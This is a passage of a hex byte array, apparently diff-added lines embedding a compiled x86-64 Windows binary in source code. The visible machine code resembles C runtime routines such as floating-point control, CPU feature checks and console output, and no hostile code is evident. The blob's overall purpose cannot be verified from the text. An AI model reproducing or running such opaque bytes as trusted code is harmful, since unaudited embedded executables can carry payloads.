0x28, 0xff, 0xff, 0xff, 0x8b, 0xf8, 0x48, 0x8b, 0xcb, 0xe8, 0x1e, 0x81, + 0xff, 0xff, 0x8b, 0xc7, 0xeb, 0xc8, 0xcc, 0xcc, 0x4c, 0x8b, 0xda, 0x4c, + 0x8b, 0xd1, 0x4d, 0x85, 0xc0, 0x75, 0x03, 0x33, 0xc0, 0xc3, 0x41, 0x0f, + 0xb7, 0x0a, 0x4d, 0x8d, 0x52, 0x02, 0x41, 0x0f, 0xb7, 0x13, 0x4d, 0x8d, + 0x5b, 0x02, 0x8d, 0x41, 0xbf, 0x83, 0xf8, 0x19, 0x44, 0x8d, 0x49, 0x20, + 0x8d, 0x42, 0xbf, 0x44, 0x0f, 0x47, 0xc9, 0x83, 0xf8, 0x19, 0x8d, 0x4a, + 0x20, 0x41, 0x8b, 0xc1, 0x0f, 0x47, 0xca, 0x2b, 0xc1, 0x75, 0x0b, 0x45, + 0x85, 0xc9, 0x74, 0x06, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xc4, 0xc3, 0xcc, + 0x8b, 0x05, 0x6e, 0xe9, 0x00, 0x00, 0xc3, 0xcc, 0x33, 0xc0, 0x38, 0x01, + 0x74, 0x0e, 0x48, 0x3b, 0xc2, 0x74, 0x09, 0x48, 0xff, 0xc0, 0x80, 0x3c, + 0x08, 0x00, 0x75, 0xf2, 0xc3, 0xcc, 0xcc, 0xcc, 0x66, 0x89, 0x4c, 0x24, + 0x08, 0x48, 0x83, 0xec, 0x28, 0xe8, 0xea, 0x08, 0x00, 0x00, 0x85, 0xc0, + 0x74, 0x1f, 0x4c, 0x8d, 0x44, 0x24, 0x38, 0xba, 0x01, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xe8, 0x42, 0x09, 0x00, 0x00, 0x85, 0xc0, + 0x74, 0x07, 0x0f, 0xb7, 0x44, 0x24, 0x30, 0xeb, 0x05, 0xb8, 0xff, 0xff, + 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x20, 0xe8, 0xf5, 0x09, 0x00, 0x00, 0x8b, 0xd8, 0xe8, 0x08, 0x0a, + 0x00, 0x00, 0x45, 0x33, 0xc9, 0xf6, 0xc3, 0x3f, 0x74, 0x4b, 0x8b, 0xcb, + 0x8b, 0xc3, 0x8b, 0xd3, 0x83, 0xe2, 0x01, 0xc1, 0xe2, 0x04, 0x44, 0x8b, + 0xc2, 0x41, 0x83, 0xc8, 0x08, 0x80, 0xe1, 0x04, 0x44, 0x0f, 0x44, 0xc2, + 0x41, 0x8b, 0xc8, 0x83, 0xc9, 0x04, 0x24, 0x08, 0x8b, 0xc3, 0x41, 0x0f, + 0x44, 0xc8, 0x8b, 0xd1, 0x83, 0xca, 0x02, 0x24, 0x10, 0x8b, 0xc3, 0x0f, + 0x44, 0xd1, 0x44, 0x8b, 0xca, 0x41, 0x83, 0xc9, 0x01, 0x24, 0x20, 0x44, + 0x0f, 0x44, 0xca, 0xf6, 0xc3, 0x02, 0x74, 0x05, 0x41, 0x0f, 0xba, 0xe9, + 0x13, 0x41, 0x8b, 0xc1, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, + 0xe9, 0x03, 0x00, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, + 0x48, 0x83, 0xec, 0x20, 0x44, 0x8b, 0xe2, 0x8b, 0xd9, 0x41, 0x81, 0xe4, + 0x1f, 0x03, 0x08, 0x03, 0xe8, 0x63, 0x09, 0x00, 0x00, 0x44, 0x8b, 0xd0, + 0x44, 0x8b, 0xc8, 0x41, 0xc1, 0xe9, 0x03, 0x41, 0x83, 0xe1, 0x10, 0x44, + 0x8b, 0xc0, 0x41, 0xbe, 0x00, 0x02, 0x00, 0x00, 0x41, 0x8b, 0xd1, 0x83, + 0xca, 0x08, 0x45, 0x23, 0xc6, 0x41, 0x0f, 0x44, 0xd1, 0x8b, 0xca, 0x83, + 0xc9, 0x04, 0x25, 0x00, 0x04, 0x00, 0x00, 0x0f, 0x44, 0xca, 0x41, 0x8b, + 0xc2, 0x41, 0xb9, 0x00, 0x08, 0x00, 0x00, 0x8b, 0xd1, 0x83, 0xca, 0x02, + 0x41, 0x23, 0xc1, 0x0f, 0x44, 0xd1, 0x41, 0x8b, 0xc2, 0x41, 0xbb, 0x00, + 0x10, 0x00, 0x00, 0x8b, 0xca, 0x83, 0xc9, 0x01, 0x41, 0x23, 0xc3, 0x0f, + 0x44, 0xca, 0x41, 0x8b, 0xc2, 0xbe, 0x00, 0x01, 0x00, 0x00, 0x8b, 0xd1, + 0x0f, 0xba, 0xea, 0x13, 0x23, 0xc6, 0x0f, 0x44, 0xd1, 0x41, 0x8b, 0xc2, + 0x41, 0xbf, 0x00, 0x60, 0x00, 0x00, 0x41, 0x23, 0xc7, 0x74, 0x22, 0x3d, + 0x00, 0x20, 0x00, 0x00, 0x74, 0x19, 0x3d, 0x00, 0x40, 0x00, 0x00, 0x74, + 0x0d, 0x41, 0x3b, 0xc7, 0x75, 0x0f, 0x81, 0xca, 0x00, 0x03, 0x00, 0x00, + 0xeb, 0x07, 0x41, 0x0b, 0xd6, 0xeb, 0x02, 0x0b, 0xd6, 0x41, 0x81, 0xe2, + 0x40, 0x80, 0x00, 0x00, 0x41, 0x83, 0xea, 0x40, 0x74, 0x1d, 0x41, 0x81, + 0xea, 0xc0, 0x7f, 0x00, 0x00, 0x74, 0x0c, 0x41, 0x83, 0xfa, 0x40, 0x75, + 0x12, 0x0f, 0xba, 0xea, 0x18, 0xeb, 0x0c, 0x81, 0xca, 0x00, 0x00, 0x00, + 0x03, 0xeb, 0x04, 0x0f, 0xba, 0xea, 0x19, 0x45, 0x8b, 0xc4, 0x41, 0xf7, + 0xd0, 0x44, 0x23, 0xc2, 0x41, 0x23, 0xdc, 0x44, 0x0b, 0xc3, 0x44, 0x3b, + 0xc2, 0x0f, 0x84, 0xa0, 0x01, 0x00, 0x00, 0x41, 0x8b, 0xc8, 0x83, 0xe1, + 0x10, 0xc1, 0xe1, 0x03, 0x41, 0x8b, 0xc0, 0x8b, 0xd1, 0x41, 0x0b, 0xd6, + 0x24, 0x08, 0x0f, 0x44, 0xd1, 0x41, 0x8b, 0xc0, 0x8b, 0xca, 0x0f, 0xba, + 0xe9, 0x0a, 0x24, 0x04, 0x0f, 0x44, 0xca, 0x41, 0x8b, 0xc0, 0x8b, 0xd1, + 0x41, 0x0b, 0xd1, 0x24, 0x02, 0x0f, 0x44, 0xd1, 0x41, 0x8b, 0xc0, 0x8b, + 0xca, 0x41, 0x0b, 0xcb, 0x24, 0x01, 0x0f, 0x44, 0xca, 0x41, 0x8b, 0xc0, + 0x8b, 0xd9, 0x0b, 0xde, 0x25, 0x00, 0x00, 0x08, 0x00, 0x0f, 0x44, 0xd9, + 0x41, 0x8b, 0xc0, 0x25, 0x00, 0x03, 0x00, 0x00, 0x74, 0x23, 0x3b, 0xc6, + 0x74, 0x1b, 0x41, 0x3b, 0xc6, 0x74, 0x10, 0x89, 0x5c, 0x24, 0x40, 0x3d, + 0x00, 0x03, 0x00, 0x00, 0x75, 0x13, 0x41, 0x0b, 0xdf, 0xeb, 0x0a, 0x0f, + 0xba, 0xeb, 0x0e, 0xeb, 0x04, 0x0f, 0xba, 0xeb, 0x0d, 0x89, 0x5c, 0x24, + 0x40, 0x41, 0x81, 0xe0, 0x00, 0x00, 0x00, 0x03, 0x41, 0x81, 0xf8, 0x00, + 0x00, 0x00, 0x01, 0x74, 0x1d, 0x41, 0x81, 0xf8, 0x00, 0x00, 0x00, 0x02, + 0x74, 0x0f, 0x41, 0x81, 0xf8, 0x00, 0x00, 0x00, 0x03, 0x75, 0x15, 0x0f, + 0xba, 0xeb, 0x0f, 0xeb, 0x0b, 0x83, 0xcb, 0x40, 0xeb, 0x06, 0x81, 0xcb, + 0x40, 0x80, 0x00, 0x00, 0x89, 0x5c, 0x24, 0x40, 0x80, 0x3d, 0xc5, 0xd3, + 0x00, 0x00, 0x00, 0x74, 0x36, 0xf6, 0xc3, 0x40, 0x74, 0x31, 0x8b, 0xcb, + 0xe8, 0xc7, 0x07, 0x00, 0x00, 0xeb, 0x32, 0xc6, 0x05, 0xae, 0xd3, 0x00, + 0x00, 0x00, 0x8b, 0x5c, 0x24, 0x40, 0x83, 0xe3, 0xbf, 0x8b, 0xcb, 0xe8, + 0xb0, 0x07, 0x00, 0x00, 0xbe, 0x00, 0x01, 0x00, 0x00, 0x41, 0xbe, 0x00, + 0x02, 0x00, 0x00, 0x41, 0xbf, 0x00, 0x60, 0x00, 0x00, 0xeb, 0x0a, 0x83, + 0xe3, 0xbf, 0x8b, 0xcb, 0xe8, 0x93, 0x07, 0x00, 0x00, 0x8b, 0xcb, 0xc1, + 0xe9, 0x03, 0x83, 0xe1, 0x10, 0x8b, 0xc3, 0x8b, 0xd1, 0x83, 0xca, 0x08, + 0x41, 0x23, 0xc6, 0x0f, 0x44, 0xd1, 0x8b, 0xc3, 0x8b, 0xca, 0x83, 0xc9, + 0x04, 0x25, 0x00, 0x04, 0x00, 0x00, 0x0f, 0x44, 0xca, 0x8b, 0xc3, 0x8b, + 0xd1, 0x83, 0xca, 0x02, 0x25, 0x00, 0x08, 0x00, 0x00, 0x0f, 0x44, 0xd1, + 0x8b, 0xc3, 0x8b, 0xca, 0x83, 0xc9, 0x01, 0x25, 0x00, 0x10, 0x00, 0x00, + 0x0f, 0x44, 0xca, 0x8b, 0xc3, 0x8b, 0xd1, 0x0f, 0xba, 0xea, 0x13, 0x23, + 0xc6, 0x0f, 0x44, 0xd1, 0x8b, 0xc3, 0x41, 0x23, 0xc7, 0x74, 0x22, 0x3d, + 0x00, 0x20, 0x00, 0x00, 0x74, 0x19, 0x3d, 0x00, 0x40, 0x00, 0x00, 0x74, + 0x0d, 0x41, 0x3b, 0xc7, 0x75, 0x0f, 0x81, 0xca, 0x00, 0x03, 0x00, 0x00, + 0xeb, 0x07, 0x41, 0x0b, 0xd6, 0xeb, 0x02, 0x0b, 0xd6, 0x81, 0xe3, 0x40, + 0x80, 0x00, 0x00, 0x83, 0xeb, 0x40, 0x74, 0x1b, 0x81, 0xeb, 0xc0, 0x7f, + 0x00, 0x00, 0x74, 0x0b, 0x83, 0xfb, 0x40, 0x75, 0x12, 0x0f, 0xba, 0xea, + 0x18, 0xeb, 0x0c, 0x81, 0xca, 0x00, 0x00, 0x00, 0x03, 0xeb, 0x04, 0x0f, + 0xba, 0xea, 0x19, 0x8b, 0xc2, 0x48, 0x8b, 0x5c, 0x24, 0x48, 0x48, 0x8b, + 0x74, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, 0x41, + 0x5c, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x53, 0x48, 0x83, 0xec, 0x50, + 0xf2, 0x0f, 0x10, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x8b, 0xd9, 0xf2, + 0x0f, 0x10, 0x8c, 0x24, 0x88, 0x00, 0x00, 0x00, 0xba, 0xc0, 0xff, 0x00, + 0x00, 0x89, 0x48, 0xc8, 0x48, 0x8b, 0x8c, 0x24, 0x90, 0x00, 0x00, 0x00, + 0xf2, 0x0f, 0x11, 0x40, 0xe0, 0xf2, 0x0f, 0x11, 0x48, 0xe8, 0xf2, 0x0f, + 0x11, 0x58, 0xd8, 0x4c, 0x89, 0x40, 0xd0, 0xe8, 0x5c, 0x0a, 0x00, 0x00, + 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0x9e, 0xa6, 0xff, 0xff, 0x85, 0xc0, + 0x75, 0x07, 0x8b, 0xcb, 0xe8, 0xf7, 0x09, 0x00, 0x00, 0xf2, 0x0f, 0x10, + 0x44, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x50, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, + 0x83, 0xec, 0x20, 0x8b, 0xd9, 0x48, 0x8b, 0xf2, 0x83, 0xe3, 0x1f, 0x8b, + 0xf9, 0xf6, 0xc1, 0x08, 0x74, 0x14, 0x40, 0x84, 0xf6, 0x79, 0x0f, 0xb9, + 0x01, 0x00, 0x00, 0x00, 0xe8, 0x87, 0x0a, 0x00, 0x00, 0x83, 0xe3, 0xf7, + 0xeb, 0x57, 0xb9, 0x04, 0x00, 0x00, 0x00, 0x40, 0x84, 0xf9, 0x74, 0x11, + 0x48, 0x0f, 0xba, 0xe6, 0x09, 0x73, 0x0a, 0xe8, 0x6c, 0x0a, 0x00, 0x00, + 0x83, 0xe3, 0xfb, 0xeb, 0x3c, 0x40, 0xf6, 0xc7, 0x01, 0x74, 0x16, 0x48, + 0x0f, 0xba, 0xe6, 0x0a, 0x73, 0x0f, 0xb9, 0x08, 0x00, 0x00, 0x00, 0xe8, + 0x50, 0x0a, 0x00, 0x00, 0x83, 0xe3, 0xfe, 0xeb, 0x20, 0x40, 0xf6, 0xc7, + 0x02, 0x74, 0x1a, 0x48, 0x0f, 0xba, 0xe6, 0x0b, 0x73, 0x13, 0x40, 0xf6, + 0xc7, 0x10, 0x74, 0x0a, 0xb9, 0x10, 0x00, 0x00, 0x00, 0xe8, 0x2e, 0x0a, + 0x00, 0x00, 0x83, 0xe3, 0xfd, 0x40, 0xf6, 0xc7, 0x10, 0x74, 0x14, 0x48, + 0x0f, 0xba, 0xe6, 0x0c, 0x73, 0x0d, 0xb9, 0x20, 0x00, 0x00, 0x00, 0xe8, + 0x14, 0x0a, 0x00, 0x00, 0x83, 0xe3, 0xef, 0x48, 0x8b, 0x74, 0x24, 0x38, + 0x33, 0xc0, 0x85, 0xdb, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x0f, 0x94, 0xc0, + 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x55, + 0x53, 0x56, 0x57, 0x41, 0x56, 0x48, 0x8d, 0x68, 0xc9, 0x48, 0x81, 0xec, + 0xf0, 0x00, 0x00, 0x00, 0x0f, 0x29, 0x70, 0xc8, 0x48, 0x8b, 0x05, 0xbd, + 0xc7, 0x00, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x45, 0xef, 0x8b, 0xf2, + 0x4c, 0x8b, 0xf1, 0xba, 0xc0, 0xff, 0x00, 0x00, 0xb9, 0x80, 0x1f, 0x00, + 0x00, 0x41, 0x8b, 0xf9, 0x49, 0x8b, 0xd8, 0xe8, 0x3c, 0x09, 0x00, 0x00, + 0x8b, 0x4d, 0x5f, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x89, 0x5c, 0x24, + 0x50, 0xf2, 0x0f, 0x10, 0x44, 0x24, 0x50, 0x48, 0x8b, 0x54, 0x24, 0x40, + 0xf2, 0x0f, 0x11, 0x44, 0x24, 0x48, 0xe8, 0xe1, 0xfe, 0xff, 0xff, 0xf2, + 0x0f, 0x10, 0x75, 0x77, 0x85, 0xc0, 0x75, 0x40, 0x83, 0x7d, 0x7f, 0x02, + 0x75, 0x11, 0x8b, 0x45, 0xbf, 0x83, 0xe0, 0xe3, 0xf2, 0x0f, 0x11, 0x75, + 0xaf, 0x83, 0xc8, 0x03, 0x89, 0x45, 0xbf, 0x44, 0x8b, 0x45, 0x5f, 0x48, + 0x8d, 0x44, 0x24, 0x48, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8d, 0x54, + 0x24, 0x40, 0x48, 0x8d, 0x45, 0x6f, 0x44, 0x8b, 0xce, 0x48, 0x8d, 0x4c, + 0x24, 0x60, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x48, 0x05, 0x00, 0x00, + 0xe8, 0xef, 0xa4, 0xff, 0xff, 0x84, 0xc0, 0x74, 0x34, 0x85, 0xff, 0x74, + 0x30, 0x48, 0x8b, 0x44, 0x24, 0x40, 0x4d, 0x8b, 0xc6, 0xf2, 0x0f, 0x10, + 0x44, 0x24, 0x48, 0x8b, 0xcf, 0xf2, 0x0f, 0x10, 0x5d, 0x6f, 0x8b, 0x55, + 0x67, 0x48, 0x89, 0x44, 0x24, 0x30, 0xf2, 0x0f, 0x11, 0x44, 0x24, 0x28, + 0xf2, 0x0f, 0x11, 0x74, 0x24, 0x20, 0xe8, 0xf5, 0xfd, 0xff, 0xff, 0xeb, + 0x1c, 0x8b, 0xcf, 0xe8, 0x3c, 0x08, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, + 0x40, 0xba, 0xc0, 0xff, 0x00, 0x00, 0xe8, 0x7d, 0x08, 0x00, 0x00, 0xf2, + 0x0f, 0x10, 0x44, 0x24, 0x48, 0x48, 0x8b, 0x4d, 0xef, 0x48, 0x33, 0xcc, + 0xe8, 0x43, 0x10, 0xff, 0xff, 0x0f, 0x28, 0xb4, 0x24, 0xe0, 0x00, 0x00, + 0x00, 0x48, 0x81, 0xc4, 0xf0, 0x00, 0x00, 0x00, 0x41, 0x5e, 0x5f, 0x5e, + 0x5b, 0x5d, 0xc3, 0xcc, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x48, 0x0b, 0xc8, 0x48, 0x89, 0x4c, 0x24, 0x08, 0xf2, 0x0f, + 0x10, 0x44, 0x24, 0x08, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x10, 0x45, 0x33, 0xc0, 0x33, 0xc9, 0x44, 0x89, 0x05, 0x6a, 0xe3, + 0x00, 0x00, 0x45, 0x8d, 0x48, 0x01, 0x41, 0x8b, 0xc1, 0x0f, 0xa2, 0x89, + 0x04, 0x24, 0xb8, 0x00, 0x10, 0x00, 0x18, 0x89, 0x4c, 0x24, 0x08, 0x23, + 0xc8, 0x89, 0x5c, 0x24, 0x04, 0x89, 0x54, 0x24, 0x0c, 0x3b, 0xc8, 0x75, + 0x2c, 0x33, 0xc9, 0x0f, 0x01, 0xd0, 0x48, 0xc1, 0xe2, 0x20, 0x48, 0x0b, + 0xd0, 0x48, 0x89, 0x54, 0x24, 0x20, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x44, + 0x8b, 0x05, 0x2a, 0xe3, 0x00, 0x00, 0x24, 0x06, 0x3c, 0x06, 0x45, 0x0f, + 0x44, 0xc1, 0x44, 0x89, 0x05, 0x1b, 0xe3, 0x00, 0x00, 0x44, 0x89, 0x05, + 0x18, 0xe3, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x10, 0x5b, 0xc3, + 0x48, 0x83, 0xec, 0x38, 0x48, 0x8d, 0x05, 0x65, 0x9b, 0x00, 0x00, 0x41, + 0xb9, 0x1b, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x05, + 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0xc4, 0x48, + 0x83, 0xec, 0x68, 0x0f, 0x29, 0x70, 0xe8, 0x0f, 0x28, 0xf1, 0x41, 0x8b, + 0xd1, 0x0f, 0x28, 0xd8, 0x41, 0x83, 0xe8, 0x01, 0x74, 0x2a, 0x41, 0x83, + 0xf8, 0x01, 0x75, 0x69, 0x44, 0x89, 0x40, 0xd8, 0x0f, 0x57, 0xd2, 0xf2, + 0x0f, 0x11, 0x50, 0xd0, 0x45, 0x8b, 0xc8, 0xf2, 0x0f, 0x11, 0x40, 0xc8, + 0xc7, 0x40, 0xc0, 0x21, 0x00, 0x00, 0x00, 0xc7, 0x40, 0xb8, 0x08, 0x00, + 0x00, 0x00, 0xeb, 0x2d, 0xc7, 0x44, 0x24, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x0f, 0x57, 0xc0, 0xf2, 0x0f, 0x11, 0x44, 0x24, 0x38, 0x41, 0xb9, 0x02, + 0x00, 0x00, 0x00, 0xf2, 0x0f, 0x11, 0x5c, 0x24, 0x30, 0xc7, 0x44, 0x24, + 0x28, 0x22, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x20, 0x04, 0x00, 0x00, + 0x00, 0x48, 0x8b, 0x8c, 0x24, 0x90, 0x00, 0x00, 0x00, 0xf2, 0x0f, 0x11, + 0x74, 0x24, 0x78, 0x4c, 0x8b, 0x44, 0x24, 0x78, 0xe8, 0xa3, 0xfd, 0xff, + 0xff, 0x0f, 0x28, 0xc6, 0x0f, 0x28, 0x74, 0x24, 0x50, 0x48, 0x83, 0xc4, + 0x68, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, + 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xf9, 0x49, 0x8b, + 0xd8, 0x8b, 0x0a, 0xe8, 0xb4, 0xcc, 0xff, 0xff, 0x90, 0x48, 0x8b, 0x03, + 0x48, 0x63, 0x08, 0x48, 0x8b, 0xd1, 0x48, 0x8b, 0xc1, 0x48, 0xc1, 0xf8, + 0x06, 0x4c, 0x8d, 0x05, 0x84, 0xd9, 0x00, 0x00, 0x83, 0xe2, 0x3f, 0x48, + 0x8d, 0x14, 0xd2, 0x49, 0x8b, 0x04, 0xc0, 0xf6, 0x44, 0xd0, 0x38, 0x01, + 0x74, 0x09, 0xe8, 0xcd, 0x00, 0x00, 0x00, 0x8b, 0xd8, 0xeb, 0x0e, 0xe8, + 0xc0, 0x62, 0xff, 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0x83, 0xcb, + 0xff, 0x8b, 0x0f, 0xe8, 0x94, 0xcc, 0xff, 0xff, 0x8b, 0xc3, 0x48, 0x8b, + 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, + 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x38, 0x48, 0x63, 0xd1, 0x83, + 0xfa, 0xfe, 0x75, 0x15, 0xe8, 0x6b, 0x62, 0xff, 0xff, 0x83, 0x20, 0x00, + 0xe8, 0x83, 0x62, 0xff, 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0xeb, + 0x74, 0x85, 0xc9, 0x78, 0x58, 0x3b, 0x15, 0x15, 0xdd, 0x00, 0x00, 0x73, + 0x50, 0x48, 0x8b, 0xca, 0x4c, 0x8d, 0x05, 0x09, 0xd9, 0x00, 0x00, 0x83, + 0xe1, 0x3f, 0x48, 0x8b, 0xc2, 0x48, 0xc1, 0xf8, 0x06, 0x48, 0x8d, 0x0c, + 0xc9, 0x49, 0x8b, 0x04, 0xc0, 0xf6, 0x44, 0xc8, 0x38, 0x01, 0x74, 0x2d, + 0x48, 0x8d, 0x44, 0x24, 0x40, 0x89, 0x54, 0x24, 0x50, 0x89, 0x54, 0x24, + 0x58, 0x4c, 0x8d, 0x4c, 0x24, 0x50, 0x48, 0x8d, 0x54, 0x24, 0x58, 0x48, + 0x89, 0x44, 0x24, 0x20, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x4c, + 0x24, 0x48, 0xe8, 0x0d, 0xff, 0xff, 0xff, 0xeb, 0x1b, 0xe8, 0xfa, 0x61, + 0xff, 0xff, 0x83, 0x20, 0x00, 0xe8, 0x12, 0x62, 0xff, 0xff, 0xc7, 0x00, + 0x09, 0x00, 0x00, 0x00, 0xe8, 0xe7, 0x60, 0xff, 0xff, 0x83, 0xc8, 0xff, + 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x63, 0xf9, 0x8b, 0xcf, 0xe8, + 0xb0, 0xcc, 0xff, 0xff, 0x48, 0x83, 0xf8, 0xff, 0x75, 0x04, 0x33, 0xdb, + 0xeb, 0x5a, 0x48, 0x8b, 0x05, 0x7b, 0xd8, 0x00, 0x00, 0xb9, 0x02, 0x00, + 0x00, 0x00, 0x83, 0xff, 0x01, 0x75, 0x09, 0x40, 0x84, 0xb8, 0xc8, 0x00, + 0x00, 0x00, 0x75, 0x0d, 0x3b, 0xf9, 0x75, 0x20, 0xf6, 0x80, 0x80, 0x00, + 0x00, 0x00, 0x01, 0x74, 0x17, 0xe8, 0x7a, 0xcc, 0xff, 0xff, 0xb9, 0x01, + 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0xe8, 0x6d, 0xcc, 0xff, 0xff, 0x48, + 0x3b, 0xc3, 0x74, 0xbe, 0x8b, 0xcf, 0xe8, 0x61, 0xcc, 0xff, 0xff, 0x48, + 0x8b, 0xc8, 0xff, 0x15, 0x54, 0x14, 0x00, 0x00, 0x85, 0xc0, 0x75, 0xaa, + 0xff, 0x15, 0x2a, 0x15, 0x00, 0x00, 0x8b, 0xd8, 0x8b, 0xcf, 0xe8, 0x89, + 0xcb, 0xff, 0xff, 0x48, 0x8b, 0xd7, 0x4c, 0x8d, 0x05, 0x17, 0xd8, 0x00, + 0x00, 0x83, 0xe2, 0x3f, 0x48, 0x8b, 0xcf, 0x48, 0xc1, 0xf9, 0x06, 0x48, + 0x8d, 0x14, 0xd2, 0x49, 0x8b, 0x0c, 0xc8, 0xc6, 0x44, 0xd1, 0x38, 0x00, + 0x85, 0xdb, 0x74, 0x0c, 0x8b, 0xcb, 0xe8, 0xe1, 0x60, 0xff, 0xff, 0x83, + 0xc8, 0xff, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, + 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x83, 0x49, 0x18, 0xff, + 0x33, 0xc0, 0x48, 0x89, 0x01, 0x48, 0x89, 0x41, 0x08, 0x89, 0x41, 0x10, + 0x48, 0x89, 0x41, 0x1c, 0x48, 0x89, 0x41, 0x28, 0x87, 0x41, 0x14, 0xc3, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x40, 0x48, 0x8b, 0x05, 0x47, 0xcd, 0x00, + 0x00, 0x33, 0xdb, 0x48, 0x83, 0xf8, 0xfe, 0x75, 0x2e, 0x48, 0x89, 0x5c, + 0x24, 0x30, 0x44, 0x8d, 0x43, 0x03, 0x89, 0x5c, 0x24, 0x28, 0x48, 0x8d, + 0x0d, 0xa3, 0x98, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x44, 0x89, 0x44, 0x24, + 0x20, 0xba, 0x00, 0x00, 0x00, 0x40, 0xff, 0x15, 0x80, 0x13, 0x00, 0x00, + 0x48, 0x89, 0x05, 0x11, 0xcd, 0x00, 0x00, 0x48, 0x83, 0xf8, 0xff, 0x0f, + 0x95, 0xc3, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x40, 0x5b, 0xc3, 0xcc, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x0d, 0xf5, 0xcc, 0x00, 0x00, 0x48, + 0x83, 0xf9, 0xfd, 0x77, 0x06, 0xff, 0x15, 0x79, 0x13, 0x00, 0x00, 0x48, + 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, + 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x57, 0x48, 0x83, 0xec, 0x40, + 0x48, 0x83, 0x60, 0xd8, 0x00, 0x49, 0x8b, 0xf8, 0x4d, 0x8b, 0xc8, 0x8b, + 0xf2, 0x44, 0x8b, 0xc2, 0x48, 0x8b, 0xe9, 0x48, 0x8b, 0xd1, 0x48, 0x8b, + 0x0d, 0xb3, 0xcc, 0x00, 0x00, 0xff, 0x15, 0x0d, 0x13, 0x00, 0x00, 0x8b, + 0xd8, 0x85, 0xc0, 0x75, 0x6a, 0xff, 0x15, 0x11, 0x14, 0x00, 0x00, 0x83, + 0xf8, 0x06, 0x75, 0x5f, 0x48, 0x8b, 0x0d, 0x95, 0xcc, 0x00, 0x00, 0x48, + 0x83, 0xf9, 0xfd, 0x77, 0x06, 0xff, 0x15, 0x19, 0x13, 0x00, 0x00, 0x48, + 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x0d, 0xf4, 0x97, 0x00, 0x00, + 0x83, 0x64, 0x24, 0x28, 0x00, 0x41, 0xb8, 0x03, 0x00, 0x00, 0x00, 0x45, + 0x33, 0xc9, 0x44, 0x89, 0x44, 0x24, 0x20, 0xba, 0x00, 0x00, 0x00, 0x40, + 0xff, 0x15, 0xc6, 0x12, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, + 0x4c, 0x8b, 0xcf, 0x48, 0x8b, 0xc8, 0x48, 0x89, 0x05, 0x4b, 0xcc, 0x00, + 0x00, 0x44, 0x8b, 0xc6, 0x48, 0x8b, 0xd5, 0xff, 0x15, 0x9f, 0x12, 0x00, + 0x00, 0x8b, 0xd8, 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x8b, 0xc3, 0x48, 0x8b, + 0x5c, 0x24, 0x50, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x48, 0x83, 0xc4, 0x40, + 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0x66, 0x66, 0x0f, 